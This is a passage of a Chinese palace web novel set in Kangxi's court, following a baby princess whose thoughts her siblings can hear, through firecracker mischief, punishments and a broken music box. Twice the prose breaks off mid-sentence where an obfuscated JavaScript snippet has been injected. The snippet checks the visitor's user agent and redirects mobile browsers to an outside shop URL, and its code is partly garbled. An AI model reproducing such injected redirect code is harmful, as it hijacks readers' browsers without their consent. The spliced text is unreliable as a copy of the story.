五局三胜后,大阿哥扬眉笑道:“二妹妹,这坑……你是要自己挖,还是大哥帮你挖?” 二公主脸颊涨得通红,咬牙道:“……我自己来。” 她本就细胳膊细腿,没刨几下土便没了力气。 大阿哥笑道:“算了吧,二妹妹认输便是,不必挖了。若是真的被埋入土里,三弟定是要找我打架的。” 二公主扬起下巴道:“我不告诉他就是了,说好了要在土里被‘种’半个时辰,我守约便是。大哥,你敢挖,我就敢跳。” 旁边伺候的嬷嬷丫鬟惊起了一身冷汗,这兄妹俩怎么就杠上了? 大阿哥就坡下驴别挖了呗。 谁知大阿哥竟真挽起袖子上前,接过铲子替她挖了起来。 这番荒唐动静终究传到了康熙耳中。 他带着人赶来,见了那半成的土坑与两个灰头土脸的孩子,当即便沉下脸将二人训斥了一通。 “你们真的是……十几岁的人了,还不如婉菱懂事。” 兄妹二人领了罚:大阿哥抄《论语》三遍,二公主则抄《心经》三遍。 一向受宠的二公主心中委屈,忍不住唤了声:“皇阿玛……” 康熙抬眼一瞪,她便低下头,抿紧了嘴唇。 大阿哥想起上次与三阿哥打架,被罚跪一整夜的旧事,倒觉得此番抄书已算“仁慈”了。 只是心头仍有些计较:《心经》不过二百余字,《论语》却逾万言,这罚得也差得太远了些。 康熙沉声问:“胤褆,你也不服?” 大阿哥连忙躬身:“儿子不敢。此番确是儿子思虑不周,险些伤及妹妹,理当受罚。” 二公主在旁轻轻哼了一声,低语道:“你知道便好。” 二公主抄完最后一笔《心经》,揉了揉发酸的手腕,便抱着婉菱到御花园散心。 没走几步,却见大阿哥正从前面经过。 他低着头,耳根通红,身后跟着四位嬷嬷,每人手里都捧着几册厚厚的“书” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228917|197605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那模样不像是去读书,倒像是要做什么坏坏的事情。 【是大哥哥!】婉菱眼睛一亮,心里已经欢欢喜喜地唤出了声。 二公主心里还硌着先前的事,本不欲招呼,下意识便往身侧的树后一躲。 可婉菱的心声早已飘了出去,她再捂住妹妹的嘴也迟了。只得理了理衣裳,若无其事地走了出去。 谁知大阿哥只是匆匆朝她们瞥了一眼,目光却像是沾了水的蜻蜓,虚虚一点便飘开了。 他脚步未停,依旧心不在焉地往前走着,仿佛魂儿早已不在身上。 婉菱歪着脑袋,好奇地瞧着大阿哥的背影:【大哥这是怎么了呀?脸红得像抹了胭脂似的。】 二公主轻哼一声,撅起嘴:“小气鬼,还在跟我置气呢!” 话虽如此,姐妹俩终究按捺不住好奇。 二公主抱着婉菱,悄悄跟在几人身后,一路尾随至御花园西侧一间僻静的厢房外。 见嬷嬷们停在门口低声交代着什么,二公主心念一动,料定他们稍后便会进来。 她趁嬷嬷不备,抱着婉菱闪身先溜了进去,迅速藏在一扇厚重的雕花屏风后。 她压低声音,在婉菱耳边叮嘱:“待会儿你可千万别乱动,更不许在心里瞎嘀咕。要是被大哥听见,把咱们撵出去,我就……” 说着,她举起拳头,在婉菱眼前轻轻晃了晃。 婉菱赶紧用小胖手捂住自己的嘴,大眼睛忽闪忽闪地看向二公主:【我、我害怕控制不住我自己……】 其实她也兴奋极了,这种躲在暗处偷听的感觉,比玩藏猫猫还要刺激。 二公主捏了捏她的小手,用气声严肃道:“管不住也得管!” 不多时,房门“吱呀”一声被推开,嬷嬷们引着大阿哥走了进来。 门被仔细关好,一位年纪最长的嬷嬷上前一步,语气恭敬却不失郑重:“大阿哥,您已到了通晓人事的年纪。皇家最重子嗣绵延,这男女敦伦之事,老奴便需尽心教导于您。” 大阿哥的声音有些不自然的紧绷:“嬷嬷请讲,胤褆……仔细听着。” 嬷嬷的声音压得更低了些,却字字清晰:“您是皇子,身子最是贵重。万不可贪图一时之快,便纵欲伤了身体,所以行房事要谨记‘节制’二字。” 婉菱眼见着二姐姐的耳根一点点红透,像染了晚霞。 她怕自己胡思乱想连累了二姐姐,加上屋内光线昏沉,暖意熏人,不多时竟迷迷糊糊睡了过去。 再醒来时,二公主仍旧抱着她蹲在原处,可屋内早已寂静无声,只有午后透过窗棂的微尘在光柱里缓缓浮动。 【二姐姐,】她揉了揉眼睛,【他们走了吗?】 “嗯,”二公主的声音有些飘忽,“总算都说完了。” 【那……我们为什么还在这里呀?】 二公主沉默了一瞬,才闷闷道:“……脚麻了,再等会儿。” 【哦。】 然而,当两人小心翼翼抬头时,却正对上了上方一双沉沉的、黑峻峻的眼睛。 21. 第 21 章 “公主当心!” “公主当心!” 身侧传来一声低喝。 电光石火间,阿灵阿已探身而来,一手稳稳按住大公主肩膀,另一手迅速握住鱼竿,将那股蛮横的力道牢牢控住。 他干脆利落,不过片刻,便将那丝线从湖底拽出。 大鱼已然跑掉,但钩子却被一丛茂密的水草缠绕。 “公主请勿再动,”阿灵阿的声音平稳依旧,手中却已利落地开始解那乱成一团的丝线与草叶,“交给臣来处理。” 他低着头,手指顺着鱼线一寸寸地捋,极耐心地将缠绕的水草细细解开。 长睫垂落,神情专注得仿佛在处置什么军机要务,而他自己的钓鱼竿早就被扔在了地上。 二公主在一旁冷眼看着,胸口却莫名堵上一股滞闷之气。 她忽然上前两步,绣鞋不偏不倚,重重踩在那根被弃于地上的鱼竿,又狠狠碾了两下。 正专心解着水草的两人闻声转头。 大公主轻斥道:“二妹妹,你这是做什么?抱稳婉菱,当心摔着。” 婉菱赶紧用小手紧紧环住二姐姐的脖子,瞧出她脸色不善,便乖巧地凑上去,在她气鼓鼓的脸颊上软软亲了一记。 二公主因为婉菱的动作而稍微消了点怒气,当然也只有一点点,这时,却听见“嘎吱!”一声,原来,那鱼竿已经被她踩断了。 阿灵阿手上动作未停,只抬眼淡淡一瞥,目光在那截裂开的竹竿上停留一瞬,随即又落回缠乱的丝线上,仿佛被踩坏的不过是片无关紧要的落叶。 他这浑然不在意的态度,却让二公主心里那团无名火烧得更旺。 她还想说什么,怀里的婉菱却像只暖烘烘的小鹌鹑,又凑过来贴了贴她的脸。 【二姐姐别恼,生气只会伤了身子。】 这时,阿灵阿已将最后一缕水草解下,鱼线完好无损地收回。 他转向大公主,将钓竿递还。 大公主接过钓竿,轻轻叹了口气,对二公主道:“日头渐毒了,带婉菱回去歇歇吧。” 二公主抿着唇,抱着婉菱转身就走。走出几步,却又忍不住回头。 柳荫下,阿灵阿已俯身拾起那断成两截的鱼竿,正低头审视裂口。 侧脸在斑驳的光影里,仍是那副看不出情绪的平静模样。 婉菱更糊涂了,小脑袋蹭着二公主的颈窝:【二姐姐,这个大哥哥到底怎么惹你生气了呀?】 二公主脚步微顿,低头看她:“你觉得他挺好,是不是?” 婉菱诚实地点头:【他帮大姐姐呀,当然是个好人。】 “哼。”二公主在她软乎乎的小屁股上捏了一把,“重新说,是二姐姐好,还是他好?” “呜……”婉菱嘴一扁,眼圈顿时红了,泪珠儿要掉不掉地悬在睫毛上,【二姐姐坏!捏得好疼……】 二公主这才慌了神,赶忙轻轻给她揉着,连声道:“好了好了,是我不好,一时手重了。回去可不许告诉别人,听见没?” 婉菱抽抽搭搭地说:【那你给婉菱呼呼……呼呼就不疼了。】 二公主别过脸去:“那儿臭烘烘的,才不吹。” 婉菱一听,小嘴瘪得更厉害了,泪珠子滚下来:【才不臭呢,额娘说香香的,二姐姐最坏了!】 “好好好,吹,给你吹。”二公主拗不过她,只得低下头,隔着那薄薄的开裆裤轻轻朝她小屁股上吹了两口气。 幸亏还穿着裤子,否则她一个未出阁的公主,真要臊得不知如何是好。 谁知那处受了凉风,肚子痛痛,竟“噗”地一声,冒出个小小的屁来。 【二姐姐快……】 二公主动作一僵,缓缓抬起头,脸都绿了:“……婉菱,你是不是故意的?” 婉菱自己也吓了一跳,连忙用小手捂住鼻子,眼睛瞪得圆溜溜的,拼命摇头:【不是呀!它自己跑出来的……】 二公主深吸了几口气,今日也没了闲逛的心思,让嬷嬷将她抱回慈宁宫,她便回到了自己的住所生闷气,瞪眼到了凌晨方睡。 天热,胤祺午睡失败,眼珠子转了转,便踮着脚来到了婉菱的屋内。 越过冰盆,又掀开竹帘,轻手轻脚的凑到小车边,这个婴儿也算是他主张设计的,又大又舒适,还能晃悠着哄婉菱睡觉。 婉菱睡得正香,一张小脸粉嘟嘟的,穿着丝绸的鹅黄色肚兜,整个人蜷在凉席上,像一块刚出蒸笼的糯米凉糕。 然而,婉菱恰好在睡梦中轻轻一翻身,胤祺顿时瞪大了眼睛:妹妹莹白的右脸颊上竟印着三道清晰而刺目的红痕。 妹妹……这是被人打了? 他心头猛地一揪,小嘴一瘪,眼圈顿时红了。 又气又急,恨不得立刻摇醒妹妹问个清楚,究竟是哪个可恶的竟敢对这样小又这般可爱的孩子动手。 可瞧她睡得正熟,终是不忍惊扰,只得咬着嘴唇,一步一回头地轻轻退了出去。 胤祺独自坐在自己屋内的小凳上,越想越委屈,眼泪终于啪嗒啪嗒往下掉。 太后午觉醒来,见他呆呆坐着,便温声问道:“怎么不睡了?坐在这儿发什么愣呢?” 低头细看,才发觉孙儿竟在默默流泪,忙将他揽进怀里:“胤祺,这是怎么了?做噩梦了,还是谁给你委屈受了?” 胤祺把头埋进太后怀里,抽抽噎噎地说:“皇祖母……妹妹、妹妹她……被人打了……” 他越说越伤心,眼泪扑簌簌地往下掉,竟比自个儿挨了打还要委屈。 太后先是松了口气。 不是孙儿出事便好,随即心头一紧,立时站了起来:“走,领皇祖母去看看。谁敢动皇女?” 她转念一想,良嫔性子素来温和,莫非是底下人胆大包天,暗中作践? 胤祺却抬起小手,轻轻拽住她的衣袖:“皇祖母……再等等,等妹妹睡醒吧。” “她还能睡得着?”太后蹲下身,平视着孙儿的眼睛,声音放得更柔了些,“你仔细告诉皇祖母,妹妹是哪里挨了打?是小手,还是……小屁股?” 她心下思量:若是小娃娃淘气,皇上训诫时或许会动手,但绝不至于这般不知轻重,还留下痕迹让胤祺瞧见。 胤祺用力摇头,小手指着自己的右脸颊,泪珠儿还挂在睫毛上:“是这儿……红红的,好深好深的手指印……” 可恶!婴儿的脸颊最是娇嫩,万一打毁容了怎么办? 太后径直入了良嫔偏殿。良嫔果然方才午醒,鬓发犹松,正迷迷蒙蒙地起身行礼。 太后见了她这副浑然不觉的模样,眉头拧紧:“自己女儿叫人掌了脸,你倒是睡得香。” 良嫔一怔,忙看向太后,又转向一旁红着眼圈的胤祺,心口一凉:“婉菱……被人打了?” 太后不待她再问,已是满面寒霜,命她将伺候婉菱的宫人尽数唤来。 宫人们跪了一地,太后沉声道:“今日之事,你们给哀家如实道来,公主脸上那几道红印子,究竟是谁动的手?” 良嫔转身疾步往内屋去。 婉菱正睡得小脸粉扑扑的,良嫔俯身细看,终于看出端倪:三道印子间距恰如婴孩指节,甚至指甲盖也是婉菱手指大小,这分明是小家伙自己侧睡时,将脸蛋压在掌心压出来的。 那一口气倏然松下来,竟有些腿软。 恰在这时,婉菱睫毛颤了颤,迷迷糊糊睁开眼,正对上良嫔凝在自己脸上的目光。 她眨了眨眼,心里软软糯糯地冒出一句:【额娘?你怎么这样看着我呀……】 太后与胤祺随后入内。 婉菱正被良嫔抱在怀里,一转头瞧见太后,眉眼弯弯:【皇祖母好啊!】 刚刚睡饱,小公主不管是精神头还是心情,都格外的好。 太后自是听不见那声心语,也看不懂婉菱张了张嘴的用意。 只是见这小丫头仍笑得这般无邪,不觉松了口气,面色也缓和了几分。 良嫔轻轻将婉菱呈到太后跟前,声音压得极低:“回太后,这红痕瞧着……倒不像是旁人打的。” 她垂眸,不愿直说太后方才动怒是弄错了原委,以致其当众失了颜面。 太后接过孩子,后者又香又软地偎在她臂弯里。 太后侧着脸仔细观察,也发现了端倪,登时瞪向胤祺:“你这孩子!” 胤祺正眼巴巴等着替妹妹讨公道,冷不防挨了这一记瞪,委屈霎时涌上眼眶:“我、我怎么了嘛……” 他抬头凑近婉菱,声音闷闷的:“妹妹,你到底被谁打了?你告诉五哥哥,五哥哥一定帮你报仇。” 婉菱不明所以地张了张嘴:【我没被人打呀。】 太后忍不住曲起指节,弹了他一个脑瓜崩:“这分明是她自己压出来的。” 但到底是自己从小养大的孩子,太后还是不忍心用力。 良嫔柔声解释道:“这是她睡觉自己压出来的。你瞧,压出的印子是向里凹的;若是旁人打的,面颊会向外肿起来才是。” 她顿了顿,眼底漾开温柔的笑意:“不过胤祺这样护着妹妹,连太后都惊动了……婉菱有这样的五哥哥,当真是她的福气。” 太后唇边的纹路都舒展了:“是啊,我们胤祺别的不说,重情重义这四个字,是当得的。” 胤祺挠挠后脑勺,耳尖悄悄泛了红,嘴里咕哝着:“原来是这样啊……” 【羞羞!闹了个大红脸,还是天大误会呢。】 婉菱心里那点子得意还没来得及藏好,胤祺已虎起脸凑过来:“好啊,你笑我?” 婉菱伸出小胖手要抓他:【那五哥哥给我呼呼吧,呼呼的话,印子就能消得快一些啦。】 胤祺对着那红痕轻轻吹了两口气,吹完又与婉菱对视一眼,兄妹俩一齐开心地笑着。 良嫔望着两个孩子,抿了抿唇道:“禀太后,婉菱近来爬得稳了,身子也结实许多。嫔妾想着……还是搬回延禧宫去住,不好再叨扰您了。” 胤祺与婉菱听见良嫔的话,又面露沮丧,而太后心中也有些失落。 这里虽然有五公主与五阿哥两个孩子,但婉菱长得可爱,良嫔又柔顺,太后并不觉得良嫔在此是给自己添麻烦。 但她终究是皇帝的妃子,怎么能长期居住在慈宁宫? 慈宁宫是太后太妃等居所,于礼不合。 上次康熙唤良嫔去侍寝,还在乾清宫过夜,这像什么话? 于是,太后点点头笑道:“这样也好,只是这次要注意,别再让屋里着了火。” 良嫔垂头道:“嫔妾明白。” 当天下午,胤祺来这里吃饭,还带着个小小的身影,婉菱爬过去看,惊喜道:【是五姐姐!】 五公主,也是德妃所出,是胤禛的亲妹妹,不过胤禛忙于学业,也不能常来看望。 今年四月,德妃又生了个女儿,婉菱也不再是宫里年纪最小的公主了。 婉菱听良嫔说起这件事时,还在诧异:【皇阿玛为什么有这么多妃子,这么多孩子呢?】 完全超出了她的认知,几乎可以组成学校中的一个班级了。 良嫔又一脸谨慎地再三叮嘱:“这话你跟我私下议论还行,可不许当着别人,特别是不许当着你皇阿玛的面上说,皇家都讲究多子多福,这是好事。” 婉菱点点头,她还小,什么都不懂,不过额娘说是好事,那就是好事。 她也喜欢多些哥哥姐姐弟弟妹妹,这不,看见了五哥与五姐,她便敏捷地爬了过去。 谁知小胳膊肘一软,没撑住,“咣当”一声闷响,婉菱的额头结结实实磕在了木地板上。 她趴在那儿,懵了一瞬,大眼睛里倏地漫上一层水雾,亮晶晶地打着转。 【哎呀……好痛呜呜……】 良嫔撂下手里的针线,几步赶过来将她捞进怀里,轻轻揉着她的额头,又是心疼又是无奈:“才一眼没看住,你就爬到这儿来了?不是说了要在毯子上爬么?” 婉菱窝在她怀里,小鼻头和额头都红红的,委屈巴巴地揪着额娘的衣襟:【我要迎接哥哥姐姐呀……】 五阿哥仰头道:“都是我不好,惹妹妹爬过来摔着了。我给婉菱呼呼,呼呼就不疼了。” “我也要,我也要给妹妹呼呼!”五公主软软糯糯地挤过来,小嘴巴已经嘟起来了。 良嫔轻轻将婉菱放回毯子上,两个孩子立刻一左一右地挨上去,鼓着腮帮子,认认真真地往她额头上吹气。 婉菱的泪花还挂在睫毛上,嘴角却已高高翘了起来。 婉菱发育的比较快,寻常孩子8个月才能爬的这般利落,可是婉菱才七个月就可以向爬哪里爬哪里了。 搬家之前,正好中秋降至,宫里也进了一些炮竹。 上次万寿节,胤禟就说没有看够烟花,若是什么时候可以自己放就好了,他身旁的小太监记在心中,这一次便托人带了些安全的小型炮竹过来,偷偷的献给胤禟,讨他欢心。 果然,胤禟开心地打算偷偷燃放,又想着正好婉菱妹妹要搬回延禧宫,在民间搬家是要放炮竹庆祝的。 故而,他便找到四公主,说是要一齐给婉菱庆祝。 四公主也是个喜欢热闹的,她告诉胤禟,此事一定要提前保密,不能让他俩的额娘知晓,不然这事就办不成了。 搬家当日,八九十三人启蒙小课堂暂时停课,虽然他们也不能帮着搬什么,但好歹能出来看看。 再加上想不去上书房便可以不去的胤祺,以及几位公主,这次搬家还算热闹。 “站、站……唉呀!” 婉菱的小屁股“墩”的一声落回毯子上,浑身的肉都跟着颤了颤,两只眼睛还是懵的。 “就差一点点呢!” “好可惜呀——” 几个阿哥公主围成一圈,脑袋挨着脑袋,神情比婉菱还惋惜,仿佛方才那一下不是妹妹学站,而是自己错失了什么重要的良机。 婉菱揉着摔疼的小屁股,泪花儿还在眼眶里打转,心里委屈巴巴地嘟囔:【不试了不试了,好痛好痛呀!】 良嫔走进来,唇边噙着淡淡的笑意,温声道:“今日多谢各位阿哥公主来看婉菱。一会儿搬完了,一道留下用晚膳可好?” 五阿哥道:“好呀!今晚有什么菜?” 良嫔笑道:“吃火锅如何?有许多新鲜的蔬菜、羊肉鸭血。” 五阿哥几人拍手道好。 趁着良嫔出去收拾东西的功夫,胤禟与四公主对视一眼,道:“我们有鞭炮,你们想不想放?” 小孩子都对放鞭炮很感兴趣,八阿哥有些担忧:“这是可以的吗?” 四公主拍了拍他的肩膀道:“有我们在,你怕什么?” 是啊,天塌下来,有哥哥姐姐们顶着呢。 二公主眸中是压不住的跃跃欲试,道:“幸好大姐姐今日没来,不然断断容不得咱们这般放肆。” 三公主咬着唇,绞着帕子,忍了又忍,还是没忍住:“你既然知道这是不好的,怎么也不拦一拦?” 二公主扬起下巴,理直气壮得很:“我才不拦呢。弟弟妹妹开心最要紧。” 她顿了顿,睨三公主一眼,凑到她耳旁:“你也别拦。我知道你向来胆小,可不过是放个炮竹,能有什么大不了的?” 婉菱眼睛一亮,心里已是雀跃极了:【啊?真的吗?那、那你们要在这里放吗?】 四公主摇摇头,一副“这你就不懂了”的小大人神气:“当然不能在这儿啦,按规矩,得去延禧宫门前放。” 婉菱眨巴眨巴眼:【那……那我也能过去看看吗?】 胤禟左右张望了一眼,凑近些许,压着嗓子道:“我们得趁你额娘忙着搬家、没空留意,偷偷溜过去。你可别在心里嚷嚷啊。” 怎么每次哥哥姐姐们都要强调这个呀? 婉菱立刻用小胖手捂住嘴巴,使劲儿点了点头。 胤禟与四公主已一溜烟跑远了。 二公主急得直跺脚,将婉菱往三公主怀里一塞,匆匆丢下一句“三妹妹抱稳她”,便自己提着裙角追了上去。 十阿哥迈着小短腿跟在她身后跑着:“二姐姐等等我,我也要去。” 五阿哥刚要去,又被太后唤走,一时脱不开身,自己在太后屋内也是心里焦灼。 八阿哥他不想去看炮竹,又怕扫了兄弟姐妹的兴,便只垂着眼,忙着收拾东西。 唯三公主抱着婉菱,迟迟不曾移步。 婉菱在她臂弯里扭了扭小身子,软软地催道:【三姐姐,咱们快些去呀,他们都走远了!】 三公主低头看她,声音轻轻的:“你年纪这样小,万一炮竹太响,把耳朵震坏了,可怎么好?” 婉菱眨了眨眼,立即举起两只小肉手捂住耳朵:【不会的不会的,这样捂住就什么也听不见啦!】 三公主道:“可是我怕……” 一名进来收拾东西的嬷嬷已悄然退出去,疾步来到太后与良嫔面前。 太后面色发沉,良嫔更是连手里的帕子都来不及放,抬脚便往延禧宫的方向赶。 然而已经晚了。 “嘭——!” 一声闷响自延禧宫方向炸开,像闷雷一般,紧接着,第二声更脆、更高:“啪——!” 整个清净的紫禁城仿佛被震醒了,宫人、贵人们纷纷抬起头来。 良嫔脚下一软,被身旁宫人扶住。 而此时的延禧宫假山后,九阿哥正抱着脑袋缩成一团:“怎、怎么这么响啊!” 四公主站在山石边,眼底是压不住的兴奋,却又分明透出几分后怕。 她忍不住狠狠捶了九阿哥后背一下:“你还说!我都要被你连累死了!你那个方公公分明拍着胸脯说是‘小型炮竹、不大响’的,这叫不大响?” 九阿哥委屈得眼眶都红了,却也没法子争辩。 二公主气喘吁吁地跑到跟前,一手撑着膝盖,一手指着九阿哥:“你们……你们怎么这么着急?不是说好了等我一起来放吗!” 九阿哥缩在假山石边:“我刚点了根香,怕等你来时香都烧完了……就、就先试了一个。再说我第一次放,怕香烧得短了跑不开,被崩着……” “胆小鬼!”二公主狠狠白了他一眼,四下张望,“还有吗?” “还有两个……”九阿哥道,“只是这个炮太响了,我担心皇阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228919|197605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玛那边……” 话没说完,二公主已经撸起袖子,露出白白嫩嫩的手臂:“反正这一声皇阿玛已经听见了。剩下这两个要是不放,往后可再没机会了。” 四公主闻言眼睛一亮,道:“她说得对。咱们把炮全放了,就算皇阿玛来了,也找不着物证。” 两个女孩对视一眼,一齐仰头大笑,颇有些豪情万丈。 她们一个接过九阿哥递来的香头,一个蹲身拿出剩下的两枚炮竹,各自往青砖地上一搁。 “二姐姐,你先来!” “不,还是你先。” 九阿哥呆呆地看着两位谦让的姐姐。 四公主把香头凑近引线,点燃,只见引线嗤嗤地冒着细碎的火星。 “嘭——!” “啪——!” 假山边的树叶也顺势飞起,在半空旋了个圈,又缓缓落下。 紧接着,又是“嘭”、“啪”两声。 炮放完了。 二公主将香头往地上一摁,碾灭,踢进冬青丛里。 四公主拽过还愣神的九阿哥、二公主抱起刚刚赶来的十阿哥:“跑!” 一群孩子在浓浓的烟雾与火药味中,呼啦啦往慈宁宫的方向奔去。 康熙立在乾清宫东廊下,负手望着远处尚未散尽的那团青烟。 先后三次,毫不遮掩,放肆至极。 他的眉宇阴沉:“朕的禁令,是成了废纸么。” 声音不重,梁九功的脊背却已沁出一层冷汗。 他躬身垂首,不敢抬眼:“奴才……奴才这就去查看。” 康熙望着梁九功的背影,补充道:“定是那几个小兔崽子干的。” 宫里孩子多,总有淘气的时候,他这颗慈父心啊,都快要被折腾没了。 康熙回屋,继续批阅奏折。 果然,不多时梁九功回来道:“皇上……延禧宫附近巡逻的侍卫来报,说亲眼看见九阿哥、四公主、二公主、十阿哥,先后在假山那一带出没。如今惠妃娘娘宫里的人已搜着了炮竹废屑、还有半截没燃尽的香头。” “好啊。”康熙冷声道,“如今人在何处?” “都……都跑回慈宁宫去了。太后正训着呢。” “备棍子。” 慈宁宫的门虚掩着,里头隐约传出太后压着怒气的训斥声,间或有一两声委屈的嗫嚅。 一声“皇帝驾到!”让慈宁宫内众人都浑身紧绷,该来的还是来了。 九阿哥跪在地上,转头看到康熙身后梁九功手里的棍子,便是屁股一痛,幻感那棍子已经落在了他的屁股上。 康熙的目光在跪了一排的孩子身上扫过,最后定在九阿哥脸上。 九阿哥往后缩了缩。 康熙两步上前,一俯身,便将他像拎小鸡仔似的从地上提溜起来。九阿哥两只小短腿悬在半空,无力地蹬了蹬,蹬了个空。 “好啊,老九。”康熙冷声道,“几日不见,你可长出息了。” 九阿哥嘴唇抖了抖道:“皇阿玛……胤禟下次不敢了。” “下次?”康熙冷笑道,“你可真是人小鬼大,每次犯了错都是一句‘下次不敢了’,但是这次朕可不能饶你,来人,打二十板子。” 九阿哥的眼泪已经在眼眶里打转了。 那可是二十板子,那他的屁股岂不是要被打烂了?额娘救命! 太后张了张嘴,似要说什么,可话到嘴边又咽了回去。 皇上教训孩子的时候,她还是不插嘴的好。 就在这时,一个奶声奶气的声音忽然响了起来: “九哥哥……” 殿中众人俱是一怔。 那声音咬字还不大清楚,却分明是实打实从嗓子里发出来的,不是往日的“心声”。 哪有一岁不到的孩子,提前会说话的? 婉菱眨巴眨巴眼,小嘴还微微张着,仿佛自己也有些懵。 但很快反应过来双手合十哀求道:【皇阿玛不要打九哥哥……不要打九哥哥……】 十阿哥呆呆地缩在二公主身后,把拇指塞进嘴里,啃得吧唧吧唧响。 他与婉菱都不理解,放个炮仗,怎么会变成这样? 康熙将胤禟往地上一放,转身便从良嫔怀里把婉菱接了过来。 小人儿软软地窝在他臂弯里,一双乌溜溜的眼睛巴巴地望着他。 他低头看她,方才还冷硬的面容微微松动,语气里却还带着几分故意板出来的不悦:“你第一句话,竟然是唤胤禟这臭小子?看来皇阿玛平日是白疼你了。” 婉菱张了张嘴,却一个字也吐不出来。 她有些着急,只好伸出小肉手,在他肩头轻轻拍了拍,辩白着:【皇阿玛对我也很重要很重要的……可是、可是九哥哥他很弱的呀,会打坏的……】 胤禟正缩在地上,听到这句,忙不迭地点头。 若是大阿哥在此,听到有人说他“弱”,只怕早已撸起袖子要与人较量一番了。 但胤禟不这么想。 他吸了吸鼻子,心里暗暗合计:要是“弱”这个借口能让皇阿玛放他一马,那就算是说他比婉菱还弱,又有何妨? 可惜康熙显然不是那种会被“弱”字打动的人,更不是放马的。 “胤禟。”他目光重新落回胤禟身上,再次冷峻起来,“你胆敢违抗禁令,私自放炮。万一引燃宫室,酿成火灾,就是大祸临头,现在,你还不知罪?” 胤禟的小脸又白了。 康熙一字一句道:“光是这一条,朕就不能饶你。” 四公主与二公主飞快地对视了一眼,又各自垂下头,脖子不约而同地往衣领里缩了缩。 康熙的目光已经扫了过来: “还有你们两个。身为姐姐,不劝阻弟弟就罢了,还跟着他一起胡闹。好,朕不打你们,但罚你们抄书。不抄完,今日就别想吃晚饭。” 不打公主阿哥,但他们身边那些没能“劝阻主子”的嬷嬷太监,怕是要挨板子或罚月钱了。 门从外面掩上。 四个人被带走关在乾清宫里,一人一张小几,面前摊着纸笔与厚厚的书。 十阿哥最小,还够不太着几案,啃着笔发愣。 案上别说糕点了,连盏茶都没有。 婉菱坐在延禧宫内,手里抱着奶瓶子,咕咚咕咚喝了两口,又道:【他们会不会饿坏呀?会不会呀?】 “不会的。”五阿哥道,“一顿不吃没什么。” 他的面前是一桌子美味佳肴,惠妃、良嫔、三公主、八阿哥都在,大阿哥也从阿哥所回来吃的。 婉菱刚要松一口气,又听五阿哥补了一句: “就是肚子会有点痛。” 宜妃带着人匆匆赶到慈宁宫时,康熙早已走得没了影。 她扑了个空。 转身又往乾清宫去,一路裙摆带风。可这回,连门都没能进去。 梁九功客客气气地道:“皇上正批折子,谁也不见,陛下交代了,宜妃娘娘若是有空,不如回去好好教导九阿哥。” 宜妃回到自己寝殿时,脸色白一阵红一阵,又摔了一个茶杯,怒道:“若不是那人非要搬家,今日也不会出这事。” 郭贵人愣了一下,旋即明白过来,道:“算了。这两个孩子也实在顽劣了些,炮竹也敢放……也该给他们个教训了。” * 胤禛带着十阿哥过来延禧宫时,八阿哥正与婉菱玩梨木八音盒。 这是西洋进贡的一款音乐盒,盒身被打磨的温润光滑,蜜色木质边缘处镶嵌着一层银边与几颗珍珠,亮闪闪的好看极了。 婉菱给这个会唱歌的小盒子取名叫“小叮咚”。 这是皇阿玛派人送来的。那日她抱着这沉甸甸的木头匣子,兴奋得小脸通红,逢人便举起来给人看,嘴里咿咿呀呀的,仿佛在说“我会玩、我会玩”。 此刻,她正盘着小肉腿坐在炕上,露出白嫩嫩的两只脚丫,双手抱着小叮咚,仰脸看向八阿哥。 【八哥,你借我点力气。】 八阿哥笑着凑过去,一只手覆在她小手上,一同握住那只铜质的曲柄,两人一齐用力,摇了几摇。 咔嗒、咔嗒。 木盒子上那两只彩绘的蝴蝶忽然轻轻颤动起来,翅膀一上一下地扑闪着,竟像是活了,在雕花的黄梨木面上翩翩起舞。 与此同时,一阵叮咚、叮咚的乐声从盒子里流淌出来。 十阿哥趴在炕沿边,眼珠子都直了。 他盯着那两只转动的蝴蝶,胸口怦怦直跳,忍不住伸出手,又缩回来,嗫嚅道:“我、我也想玩……” 婉菱听见了。 她低下头看了看怀里还在唱歌的小叮咚,没有犹豫,双手捧起,往他面前一递: 【喏,给十哥哥玩。】 胤禛俯身给十阿哥脱了鞋,拍了拍他的小屁股:“上去吧,慢着点儿。” 十阿哥早就等不及了,手脚并用地爬上炕,急急地膝行到婉菱跟前,将小叮咚接过来。 他去转动蝴蝶,但是那蝴蝶只旋转而不发出音乐声,十阿哥想了想,忽然攥住那只铜质的曲柄,使劲往外一拽。 22. 第 22 章 婉菱眨了眨眼,刚想要提醒他:这个是摇的,不是硬拽的呀。 就听见“嘎嘣”一声脆响…… 十阿哥手里攥着那只被生生拽下来的曲柄,愣愣地举在半空。 【坏、坏了?!】 婉菱的泪花儿在眼眶里打转,这是她最爱的玩具了,因为她在另一个世界的妈妈,也喜欢给她买八音盒。 十阿哥也知道自己闯祸了,垂着头掐着自己的手心。 八阿哥与胤禛对视一眼,连忙一个人去拍十阿哥的后背安抚,一个人将婉菱抱在怀里安慰着:“别哭啊,别哭。” 胤禛作为这里面最大的孩子,见识也不凡,直言道:“这个应该能修好。” “能修吗?” 十阿哥与婉菱都眼睛一亮,看向胤禛。 胤禛点头道:“当然能了,在内务府的造办处,上次我将一个西洋钟表拆下来,安装不回去了,便是那里的西洋技师给修好的。” 【呀,这太好了。】婉菱道,【我想要去亲眼看看。】 看看他们是如何修八音盒的。 